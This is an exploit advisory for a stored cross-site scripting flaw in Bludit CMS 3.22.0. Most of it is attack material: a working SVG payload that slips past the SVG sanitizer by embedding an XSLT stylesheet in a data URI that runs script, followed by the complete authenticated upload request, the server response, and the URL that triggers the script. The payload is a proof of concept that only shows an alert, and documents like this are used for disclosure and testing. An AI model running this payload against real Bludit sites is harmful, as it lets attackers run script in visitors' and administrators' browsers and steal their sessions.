Bludit CMS – Stored XSS
# Exploit Title: Bludit CMS - Stored XSS # Date: 2026-07-30 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.bludit.com # Software Link: https://github.com/bludit/bludit/releases/tag/3.22.0 # Version: 3.22.0 # Tested on: Windows 10 x64 ## Description: sanitizeSVG() strips script/on* but does not remove XML processing instructions. Uploading an SVG with <?xml-stylesheet?> XSLT (method=html) results in stored XSS when the file is opened top-level as image/svg+xml. ## Payload (payload.svg): <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:text/xml,%3Cxsl:stylesheet%20version%3D%221.0%22%20xmlns:xsl%3D%22http://www.w3.org/1999/XSL/Transform%22%3E%0A%3Cxsl:output%20method%3D%22html%22/%3E%0A%3Cxsl:template%20match%3D%22/%22%3E%0A%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C/body%3E%3C/html%3E%0A%3C/xsl:template%3E%0A%3C/xsl:stylesheet%3E"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><rect width="100" height="100" fill="red"/></svg> ## Upload request (Author + session): POST /admin/ajax/upload-images HTTP/1.1 Host: 127.0.0.1 Cookie: BLUDIT-KEY=SESSION Content-Type: multipart/form-data; boundary=----x ------x Content-Disposition: form-data; name="tokenCSRF" CSRF_TOKEN ------x Content-Disposition: form-data; name="images[]"; filename="payload.svg" Content-Type: image/svg+xml <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:text/xml,%3Cxsl:stylesheet%20version%3D%221.0%22%20xmlns:xsl%3D%22http://www.w3.org/1999/XSL/Transform%22%3E%0A%3Cxsl:output%20method%3D%22html%22/%3E%0A%3Cxsl:template%20match%3D%22/%22%3E%0A%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C/body%3E%3C/html%3E%0A%3C/xsl:template%3E%0A%3C/xsl:stylesheet%3E"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><rect width="100" height="100" fill="red"/></svg> ------x-- ## Response: {"status":0,"message":"Images uploaded.","images":["payload.svg"]} ## Open: http://127.0.0.1/bl-content/uploads/payload.svg |